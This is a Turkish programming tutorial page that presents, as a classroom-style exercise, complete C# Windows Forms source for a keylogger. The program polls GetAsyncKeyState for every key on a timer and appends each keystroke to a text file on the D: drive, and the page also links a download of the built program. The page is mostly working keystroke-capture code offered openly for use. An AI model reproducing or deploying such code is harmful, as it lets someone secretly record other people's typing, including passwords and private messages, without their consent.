Keylogger Program yapımı — Csharp

Keylogger Program yapımı — Csharp

Soru :

Klavyeden hangi tusa basıldığını txt (metin) dosyasına akataran  programın csharp windows forms application kodlarını yazınız.

keyloger

 

[code lang=”csharp”]

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using System.IO;
using System.Windows.Forms.ComponentModel.Com2Interop;

namespace WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public class TusKontrol
{
[DllImport("user32",CharSet=CharSet.Ansi)]
public static extern int GetAsyncKeyState(long vKey);
public static bool TusaBasildiMi(byte Tus)
{
if (TusKontrol.GetAsyncKeyState((long)Tus) == System.Int16.MinValue + 1)
{ return true; }
else
{ return false; }
}

public static void DosyayaYaz(string dosyayolu, string tus)
{
StreamWriter file = new StreamWriter(dosyayolu, true);
file.Write (tus);
file.Close();//www.gorselprogramlama.com
}
}
public class Keylogger
{
[DllImport("user32.dll", CharSet = CharSet.Ansi)]
public static extern int GetAsyncKeyState(long basiLanTus);
public static bool BasiLdimi(byte Tus)
{
if (Keylogger.GetAsyncKeyState((long)Tus) == System.Int16.MinValue + 1)
{
return true;
}
else
{
return false;//www.gorselprogramlama.com
}
}
public static void Dosyayazim(string DosyaAdresi, string Tus)
{
StreamWriter file = new StreamWriter(DosyaAdresi, true);
file.Write(Tus);
file.Close ();
}
}

private void Form1_Load(object sender, EventArgs e)
{

}

private void timer1_Tick(object sender, EventArgs e)
{

for (byte i = 0; i < 255; i++)
{
if (Keylogger.BasiLdimi(i))
{string tuss= Convert.ToChar(i).ToString();
textBox1.Text += tuss;//www.gorselprogramlama.com
Keylogger.Dosyayazim(@"D://Keylogger.Txt", tuss );
break;
}

}
System.Windows.Forms.Application.DoEvents();
}

}
}

[/code]

keyloger2

Aşağıda txt dosyasının içeriğini görüyoruz.textbox’a girişte hangi tusa basıldıysa aynen kaydediyor.03


keyloger3

 

 

Programı İNDİR

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir